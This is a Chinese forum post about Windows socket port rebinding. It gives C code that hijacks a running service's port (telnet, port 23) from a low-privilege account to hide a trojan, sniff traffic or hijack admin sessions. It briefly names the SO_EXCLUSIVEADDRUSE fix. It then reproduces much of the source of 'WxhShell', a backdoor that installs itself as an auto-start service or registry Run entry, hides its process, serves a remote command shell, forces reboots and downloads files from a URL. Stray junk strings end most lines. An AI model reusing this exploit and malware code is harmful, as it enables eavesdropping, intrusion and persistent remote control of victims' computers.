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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {]4Zpev  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ey n-bw  
4S* X=1  
  saddr.sin_family = AF_INET; !R[~Z7b6  
@"aqnj>+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E>u U6#v  
VMu?mqEa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "9NWsy}<c  
K}Q:L(SSr\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fj`K$K?  
{_Fh3gjb/  
  这意味着什么?意味着可以进行如下的攻击: M>{*PHze0  
K d{o/R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;O<-4$  
|[)pQGw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?YF2Uc8z%2  
6|4ID"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IJ7wUZp"  
e?KzT5j:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fY|[YPGO^  
\ #la8,+9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q$Sp'  
Qs<L$"L1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  ;B{oGy.  
y#/P||PM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {r#uD5NJ/  
d@ ] N  
  #include [<wpH0lNoy  
  #include Ieh<|O,-C  
  #include UsdMCJ&G  
  #include    5eM{>qr}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nL]eGC  
  int main() HNLr} Yj  
  { ~1nKL0C6u  
  WORD wVersionRequested; MieO1l  
  DWORD ret; x-b}S1@  
  WSADATA wsaData; @yF >=5z:  
  BOOL val; -U|Z9sia  
  SOCKADDR_IN saddr; nx%eq ,Pq  
  SOCKADDR_IN scaddr; 1'1>B  
  int err; #@E:|^$1y  
  SOCKET s; FRsp?i K)  
  SOCKET sc; 6A ptq  
  int caddsize; tHr4/  
  HANDLE mt; mA^3?y j  
  DWORD tid;   (g1Op~EM  
  wVersionRequested = MAKEWORD( 2, 2 ); jPn.w,=)27  
  err = WSAStartup( wVersionRequested, &wsaData ); N7_(,Gu*R  
  if ( err != 0 ) { >1` '5A}s  
  printf("error!WSAStartup failed!\n"); :G &:v  
  return -1; k+hl6$:Qj%  
  } dt/-0~U  
  saddr.sin_family = AF_INET; "@t bm[  
   &%u m#XE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C)QKodI  
h+j*vX/!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7vc4 JO]  
  saddr.sin_port = htons(23); uXb} o UC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xxld.j6  
  { % pAbkb3m  
  printf("error!socket failed!\n"); q(v|@l|)yO  
  return -1; bEmzigN[  
  }  6NSSuK3  
  val = TRUE; .eyJ<b9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^UFNds'q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C 1)+^{7ef  
  { 2#s8Dxt  
  printf("error!setsockopt failed!\n"); $U pWlYwG  
  return -1; aq#F  
  } 0IBQE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UUF]45t>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  SWyJ`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SH O&:2  
~(:0&w%e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,R=$ qi|  
  { N1" bH~  
  ret=GetLastError(); t$?#@8Yk  
  printf("error!bind failed!\n"); R 83PHM  
  return -1; ";DozPU  
  } p$` ^A  
  listen(s,2); &kT!GU^n  
  while(1) $9u:Ox 2  
  { }ktK*4<k  
  caddsize = sizeof(scaddr); 3ug~m-_  
  //接受连接请求 _nSEp >]L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >~tx8aI{  
  if(sc!=INVALID_SOCKET) n'%cO]nSx  
  { AtxC(g m 1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F)@zo/u5L  
  if(mt==NULL) *e:2iM)8~  
  { 4 []!Km  
  printf("Thread Creat Failed!\n"); A=70UL  
  break; dJlK'zK  
  } pimI)1 !$'  
  } MPF({Pnx7  
  CloseHandle(mt); x6^FpNgQ  
  } 9#kk5)J  
  closesocket(s); O'QnfpQ*9  
  WSACleanup(); ,fo7. h4{  
  return 0; PF+Or  
  }   9D;ono3  
  DWORD WINAPI ClientThread(LPVOID lpParam) MM( ,D& Z  
  { G&4D0f  
  SOCKET ss = (SOCKET)lpParam; 5xU}}[|~-  
  SOCKET sc; I.`D BI#-f  
  unsigned char buf[4096]; H}(WL+7  
  SOCKADDR_IN saddr; qac:"z'9  
  long num; r$Ik* R  
  DWORD val; $4og{  
  DWORD ret; ^s$U n6v[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ==trl#kQ%%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cu<' b'%;  
  saddr.sin_family = AF_INET; U!YoZ?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !)05,6WQ  
  saddr.sin_port = htons(23); <vu~EY0.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `, 4YPjk^  
  { 2EO9IxIf  
  printf("error!socket failed!\n"); ce719n$   
  return -1; l_,6<wWp  
  } Mgu9m8 `J  
  val = 100; uLNOhgSUf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4w]<1V  
  { >t.PU.OM  
  ret = GetLastError(); ad=7FhnIa3  
  return -1; =`Ky N/  
  } =F dFLrx~l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 17w{hK4o8O  
  { x@:98P  
  ret = GetLastError(); 8cRc5X  
  return -1; 9Vt6);cA-]  
  } jwI1 I{x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -O?A"  
  { <TS ps!(#  
  printf("error!socket connect failed!\n"); !>&G+R+k  
  closesocket(sc); J%fJF//U  
  closesocket(ss); a FWTm,)  
  return -1; g;:3I\ L  
  } ^;?w<9Y  
  while(1) SCfk!GBVD  
  { ETR7% 0$r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?zVcP=p@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dkSd Y+Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )]Sf|@K]  
  num = recv(ss,buf,4096,0); PTTUI  
  if(num>0) `wSoa#U"@  
  send(sc,buf,num,0); ^E%NYq_2l<  
  else if(num==0) mM_gOd  
  break; H)y_[:[  
  num = recv(sc,buf,4096,0); Z+4Mo*#  
  if(num>0) +?5Vuc%  
  send(ss,buf,num,0); E;"VI2F  
  else if(num==0) TT){15T;"  
  break; qR , 5  
  } dkg+_V!  
  closesocket(ss); @9k3}x K  
  closesocket(sc); h,K&R8S  
  return 0 ; pTJ_DH  
  } )5Cqyp~P  
>z,Y%A  
Upm#:i|"  
========================================================== ]n$ v ^  
5cl^:Ua  
下边附上一个代码,,WXhSHELL h-o;vC9fC  
e"Z,!Q^-L  
========================================================== b'xBPTN  
.R S  
#include "stdafx.h" [T,Df&  
DYe w6B-  
#include <stdio.h> dLf ;g}W  
#include <string.h> TBHd)BhI.  
#include <windows.h> 0 eOdE+  
#include <winsock2.h> 'SIc2H  
#include <winsvc.h> U)3?&9H  
#include <urlmon.h> ;zWiPnX}  
2"o <>d  
#pragma comment (lib, "Ws2_32.lib") [u-=<hnoa  
#pragma comment (lib, "urlmon.lib") Q1H.2JXr  
% 5BSXAc  
#define MAX_USER   100 // 最大客户端连接数 C3 m_sv#e  
#define BUF_SOCK   200 // sock buffer Gr3 q  
#define KEY_BUFF   255 // 输入 buffer !=+;9Ry$z  
Q0xQx z  
#define REBOOT     0   // 重启 Q0Gfwl  
#define SHUTDOWN   1   // 关机 c{T)31ldW  
F-$NoEL  
#define DEF_PORT   5000 // 监听端口 48!F!v,j)x  
]!@!qp@  
#define REG_LEN     16   // 注册表键长度 J.0&gP V  
#define SVC_LEN     80   // NT服务名长度 TJ,?C$3  
F[fs^Q6S$  
// 从dll定义API Kke _?/fT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LD,T$"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E,4*a5Fi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }E)t,T>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s2nZW pIy  
eE{ 2{C  
// wxhshell配置信息 Y2+YmP*z`  
struct WSCFG { va.Ve# N  
  int ws_port;         // 监听端口 )P.,h&h/  
  char ws_passstr[REG_LEN]; // 口令 [c99m:*+  
  int ws_autoins;       // 安装标记, 1=yes 0=no g~OG~g@  
  char ws_regname[REG_LEN]; // 注册表键名 uLN.b339  
  char ws_svcname[REG_LEN]; // 服务名 4XeO^#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4U[X-AIY&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aCBq}Xcn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0s.4]Zg>5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m# ^).+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ldG$hk'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w *o _s  
**ls 4CE<  
}; zXd#kw;  
YIYuqtnSJ  
// default Wxhshell configuration >EgMtZ88.<  
struct WSCFG wscfg={DEF_PORT, W7IAW7w8U  
    "xuhuanlingzhe", rE\&FVx  
    1, *`tQX$F  
    "Wxhshell", U.|0y=  
    "Wxhshell", ^9|&w.:@Q  
            "WxhShell Service", .GW)"`HbU  
    "Wrsky Windows CmdShell Service", eBe5H =I@  
    "Please Input Your Password: ", "fSK7%BP  
  1, >lugHF$G  
  "http://www.wrsky.com/wxhshell.exe", X`I=Z ysB  
  "Wxhshell.exe" |@)jS.Bn  
    }; {_4zm&  
 o7AI  
// 消息定义模块 `1R[J4e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +ZRm1q   
char *msg_ws_prompt="\n\r? for help\n\r#>"; o:Tpd 0F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _ ^^5  
char *msg_ws_ext="\n\rExit."; 6V1 Z(K  
char *msg_ws_end="\n\rQuit."; o1Wf#Zq   
char *msg_ws_boot="\n\rReboot..."; G:MQ_tfr&  
char *msg_ws_poff="\n\rShutdown..."; |:d_IB@  
char *msg_ws_down="\n\rSave to "; xf{=~j/L  
4{" v  
char *msg_ws_err="\n\rErr!"; C7Hgzc|U  
char *msg_ws_ok="\n\rOK!"; XJ3aaMh"  
hrbeTtqi  
char ExeFile[MAX_PATH]; yGb^kR}d  
int nUser = 0; ` h1>rP  
HANDLE handles[MAX_USER]; =&vRT;6  
int OsIsNt; @Lm(bW  
{.UK{nA?sm  
SERVICE_STATUS       serviceStatus; ;S+"z;$m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m9aP]I3g]\  
.r-kH&)"GU  
// 函数声明 }cg 1CT5  
int Install(void); U[!wu]HMF  
int Uninstall(void); Zg >!5{T  
int DownloadFile(char *sURL, SOCKET wsh); g^:7mG6C  
int Boot(int flag); o(xt%'L`t  
void HideProc(void); vu/P"?F  
int GetOsVer(void); Ly6) ,[q~  
int Wxhshell(SOCKET wsl); _Tma1 ~Gq  
void TalkWithClient(void *cs); hQDl&A  
int CmdShell(SOCKET sock); R"QWap}  
int StartFromService(void); f<@`{oP@  
int StartWxhshell(LPSTR lpCmdLine); <P c;8[  
mmEe@-lE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~G~:R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0"`|f0}c  
"=9)|{=m  
// 数据结构和表定义 @z(s\T  
SERVICE_TABLE_ENTRY DispatchTable[] = m pM,&7}  
{ NW?h~2  
{wscfg.ws_svcname, NTServiceMain}, XN'<H(G  
{NULL, NULL} Fi#b0S  
}; 6x! q  
q.p.y0  
// 自我安装 >zv}59M  
int Install(void) UC"_#!3  
{ {s[,CUL0  
  char svExeFile[MAX_PATH]; F#7A6|  
  HKEY key; IQ9Rvnna  
  strcpy(svExeFile,ExeFile); ==~ lc;  
.BZ3>]F3<  
// 如果是win9x系统,修改注册表设为自启动 Uj~ :| ?Wz  
if(!OsIsNt) { qg8T}y>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6X GqZ!2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h)yAg e  
  RegCloseKey(key); ww~gmz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Ym~[S*x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BoPJ;6?>}  
  RegCloseKey(key); mRY~)< !4&  
  return 0; 4>(OM|X=9  
    } 5> =Ia@I   
  } ZDl(q~4?z  
} @jH8x!5u:  
else { .cg"M0  
_gP-$&JC  
// 如果是NT以上系统,安装为系统服务 VW\~OH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /%h<^YDBf  
if (schSCManager!=0) ITEd[ @^d  
{ :8Jn?E (36  
  SC_HANDLE schService = CreateService >*[Bq;  
  ( 7_AcvsdW  
  schSCManager, 4[m4u6z=  
  wscfg.ws_svcname, %!Ak]|[7  
  wscfg.ws_svcdisp, P 4jg]g  
  SERVICE_ALL_ACCESS, 4 O~zkg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wLH[rwPr  
  SERVICE_AUTO_START, WiclG8l  
  SERVICE_ERROR_NORMAL, 8{J{)gF  
  svExeFile, G+f@m,  
  NULL, _#6ekl|%  
  NULL, Y,C3E>}Dq  
  NULL, s4Z5t$0|  
  NULL, -<WQ>mrB&  
  NULL %wS5m#n  
  ); [|\BuUT'  
  if (schService!=0) \^rAH@  
  { <YBA 7i  
  CloseServiceHandle(schService); *ZA.O  
  CloseServiceHandle(schSCManager); bcZ s+FOPd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A{b?ZT~2]  
  strcat(svExeFile,wscfg.ws_svcname); D<*#. >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 66l$}+|Zzc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xk8P4`;d$  
  RegCloseKey(key); 2x&mJ}o#k  
  return 0; vFGFFA/K}N  
    } 'Ijjk`d&c  
  } !&OybjQ  
  CloseServiceHandle(schSCManager); EBPm7{&0|  
} hM @F|t3  
} ,V2,FoJ 9  
r(QjVLjj`k  
return 1; rN%aP-sa<  
} 2Aq%;=+*  
X"qC&oZmf  
// 自我卸载 :TzHI    
int Uninstall(void) d*xKq"+ &E  
{ 6P KH%  
  HKEY key; 4RV5:&ALLS  
o Z#4<7K  
if(!OsIsNt) { tMWsgK.B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8P'zQ:#RV  
  RegDeleteValue(key,wscfg.ws_regname); -hIDL'5u-I  
  RegCloseKey(key); i''[ u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L5tSS=  
  RegDeleteValue(key,wscfg.ws_regname); 5w+X   
  RegCloseKey(key); LE:nmo  
  return 0; F7zBm53  
  } 4^mpQ.]lO  
} Cp 2$I<T  
} @< @\CiM  
else { U^$o< 2  
*@2?_b}A ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T};fy+iq  
if (schSCManager!=0) E#=slj @  
{ J m+;A^;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;8 D31OT  
  if (schService!=0) 7TjK;w7xS.  
  { k )T;WCia  
  if(DeleteService(schService)!=0) { wZA(><\  
  CloseServiceHandle(schService); "`AIU}[_I  
  CloseServiceHandle(schSCManager); )0I;+9:D=  
  return 0; '8 ~E  
  } 71?>~PnbH}  
  CloseServiceHandle(schService); L-lDvc?5c  
  } \)pT+QxZ  
  CloseServiceHandle(schSCManager); H1FSN6'  
} Q!<b"8V]  
} W c"f  
]#N~r&hmQ  
return 1; _f8<t=R  
} v]tbs)x;h  
8N|y   
// 从指定url下载文件 vq~btc.p{&  
int DownloadFile(char *sURL, SOCKET wsh) }.x&}FqXE  
{ hi I`ot  
  HRESULT hr; ?-P]m&nh|  
char seps[]= "/"; nZbfc;da  
char *token; b[3K:ot+  
char *file; 6+9inWTT(  
char myURL[MAX_PATH]; 4Y[uqn[  
char myFILE[MAX_PATH];  S oY=  
_T 5ZL  
strcpy(myURL,sURL); ^y,% Tv>  
  token=strtok(myURL,seps); i-'rS/R  
  while(token!=NULL) `)[bu  
  { n 4:Yc@,  
    file=token; Wv]NFHe#  
  token=strtok(NULL,seps); IG1+_-H:  
  } ! `yg bI.  
3rEBG0cf]  
GetCurrentDirectory(MAX_PATH,myFILE); ugtb`d{ Sl  
strcat(myFILE, "\\"); )/u?_)b4"  
strcat(myFILE, file); _-^Lr /`G!  
  send(wsh,myFILE,strlen(myFILE),0); $~<);dYu0  
send(wsh,"...",3,0); %{*}KsS`p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TlD)E  
  if(hr==S_OK) 9WaKsdf  
return 0; %Bo/vB'  
else 6^pddGIG  
return 1; 1)8;9 Ba:  
6Hz45  
} gQJy"f  
M4rOnIJ  
// 系统电源模块 g_\U-pzr  
int Boot(int flag) 6_a42#  
{ hVe@:1og#  
  HANDLE hToken; 8kz7*AO  
  TOKEN_PRIVILEGES tkp; R<+K&_  
]:B|_| H  
  if(OsIsNt) { jOppru5U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H[ DrG6GA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T.vkGB=QZ%  
    tkp.PrivilegeCount = 1; 1'dL8Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %,-oxeM1u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 51Yq>'8  
if(flag==REBOOT) { $= /.oh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hf ]aA_:   
  return 0; $0C1';=^}  
} 8}FZ1h2 4  
else { Tz H*?bpP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Farcd!}  
  return 0; /`YHPeXu  
} #\kYGr-G)  
  } %Y"@VcN  
  else { [:geDk9O#'  
if(flag==REBOOT) { Tti]H9g_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N'nI ^=  
  return 0; ] Ma2*E !p  
} gw0b>E8gZ&  
else { w{J0K; L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^PY*INv  
  return 0; #WD} XOA  
} fHek!Jv.  
} uUXvBA?l  
6mr5`5~w  
return 1; d^"<Tz!  
} 2<jbNnj  
KXEDpr  
// win9x进程隐藏模块 ~U+SK4SK:o  
void HideProc(void) rmj?jBKQU  
{ +~Ni7Dp]  
Hf( d x\5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _Y '+E  
  if ( hKernel != NULL ) #M;Cw}pW  
  { -,NiSh}A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R=jIVw'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yb8o`j+t  
    FreeLibrary(hKernel); [bd fp a  
  } X p4x:N  
tL68 u[  
return; U$R+&@;  
} './j<2|;U  
`a}!t=~#w  
// 获取操作系统版本 lg_X|yhL  
int GetOsVer(void) ;0Yeo"-  
{ |A".Mo_5  
  OSVERSIONINFO winfo; IP'gN-#i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W-9^Ncp  
  GetVersionEx(&winfo); 0;,4.hsh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZOGH.`  
  return 1; [m7^Euury  
  else 8<}f:9/  
  return 0; |7Z7_YWs  
} (J(JB}[X,  
f(Q-W6  
// 客户端句柄模块 Sr1xG%;|/  
int Wxhshell(SOCKET wsl) ~C6Qp`VF  
{ ]K'iCYY  
  SOCKET wsh; "f|\":\  
  struct sockaddr_in client; ~GJJ{Bm_  
  DWORD myID; \M>}-j`v  
3-4' x2   
  while(nUser<MAX_USER) o:u *E  
{ :Hdn&a i  
  int nSize=sizeof(client); X(F 2 5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W]p)}#FR  
  if(wsh==INVALID_SOCKET) return 1; 0\f3La  
r'7>J:cy=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #Jt9U1WbF  
if(handles[nUser]==0) E"7 iU  
  closesocket(wsh); 5tMp@$F\{[  
else vy?Zz<c;  
  nUser++; 6; g_}Zx  
  } NLHF3h=?1p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !\.%^LK1  
[!E pv<G  
  return 0; zoYw[YP9  
} sqw^Hwy=!2  
5\Sm^t|Tx  
// 关闭 socket J%c4-'l  
void CloseIt(SOCKET wsh) '1]Iu@?  
{ JiL%1y9|  
closesocket(wsh); Pl4$`Qw#y  
nUser--; 4J3cQ;z  
ExitThread(0); X_Vj&{  
} W%@L7xh  
^nn3;  
// 客户端请求句柄 ,B ]kX/W  
void TalkWithClient(void *cs) y'ULhDgq^B  
{ Tl9KL%9  
_MfXN$I?}  
  SOCKET wsh=(SOCKET)cs; g+Z~"O]$M  
  char pwd[SVC_LEN]; &Pu}"M$[MH  
  char cmd[KEY_BUFF]; 1:S75~b-`  
char chr[1]; Ar4@7  
int i,j; Z)B5g>  
-}nTwx:|5u  
  while (nUser < MAX_USER) { ^Wk.D-  
6j9P`#Lt  
if(wscfg.ws_passstr) { i,jPULzyjk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B\BxF6 y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^W-03  
  //ZeroMemory(pwd,KEY_BUFF); ;2X/)sxWz  
      i=0; h^#K4/  
  while(i<SVC_LEN) { 5(kRFb'31F  
ajFSbi)l  
  // 设置超时 !e*BQ3  
  fd_set FdRead; umV5Y`  
  struct timeval TimeOut; S EdNH.|I  
  FD_ZERO(&FdRead); 7XLz Ewa  
  FD_SET(wsh,&FdRead); 6@_Vg~=S  
  TimeOut.tv_sec=8; g:bw;6^ u  
  TimeOut.tv_usec=0; ^M60#gJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u\gPx4]4c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /(-X[[V  
qI,4 uGg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }{<@wE%s  
  pwd=chr[0]; ts rcX  
  if(chr[0]==0xd || chr[0]==0xa) { nJH+P!AC  
  pwd=0; k[3J5 4`g1  
  break; f(Jz*el S  
  } z?V'1L1gM  
  i++; h\GlyH~  
    } h?H:r <  
G  @ib  
  // 如果是非法用户,关闭 socket J}IHQZS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lqPzDdC^>  
} gKK*` L~  
)sg@HFhY'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j_2-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xf/ SUO F  
*3_@#Uu7  
while(1) { +/,J$(  
nY7 ZK  
  ZeroMemory(cmd,KEY_BUFF); !o A,^4(  
7I>@PV N  
      // 自动支持客户端 telnet标准   @ %LrpD  
  j=0; 0_7A <   
  while(j<KEY_BUFF) {  h"<-^=b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5"1kfB3v  
  cmd[j]=chr[0]; B16,c9[  
  if(chr[0]==0xa || chr[0]==0xd) { cnfjO g'\{  
  cmd[j]=0; J)R;NYl  
  break; f"emH  
  }  #P8R  
  j++; m4FT^ ^3yE  
    } pUV3n 1{2  
uzA"+cV5  
  // 下载文件 U2  0@B`<  
  if(strstr(cmd,"http://")) { I@x^`^+l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l_ /q/8-l  
  if(DownloadFile(cmd,wsh)) go^?F- dZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); at_~b Ox6X  
  else Na8%TT>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0v`E5  
  } 7Ddo ^Gtx  
  else { 9z)p*+r UK  
w-9FF%@<  
    switch(cmd[0]) { R~nbJx$  
  }F'B!8n  
  // 帮助 |FK ##8  
  case '?': { u;$g1 3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $6~ J#;  
    break; Y_qRW. k  
  } </,RS5ukn  
  // 安装 + k1|+zzS  
  case 'i': { ,r<!30~f  
    if(Install()) 1p#O(o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5(`7XV6D  
    else tE"aNA#=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X"yj sk  
    break; 1an?/j,  
    } s&-m!|P  
  // 卸载 L8"0o 0-  
  case 'r': { n_}=G RR  
    if(Uninstall()) 3\J-=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @k_xA-a  
    else "o+E9'Dm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I"/p^@IX  
    break; Er; @nOyD  
    } h*J=F0KM  
  // 显示 wxhshell 所在路径 hdZ{8 rP  
  case 'p': { D,FX&{TYU  
    char svExeFile[MAX_PATH]; p-d2HXo  
    strcpy(svExeFile,"\n\r"); CF|c4oY82  
      strcat(svExeFile,ExeFile); 6|q\ M  
        send(wsh,svExeFile,strlen(svExeFile),0); Qs24b  
    break; NYS |fa  
    } {Vy2uow0  
  // 重启 .QRa{l_)  
  case 'b': { 7s#,.(s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  WW5AD$P*  
    if(Boot(REBOOT)) * !4r}h`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6$#p}nE  
    else { <3aiS?i.h  
    closesocket(wsh); f=0U&~  
    ExitThread(0); H^UuT  
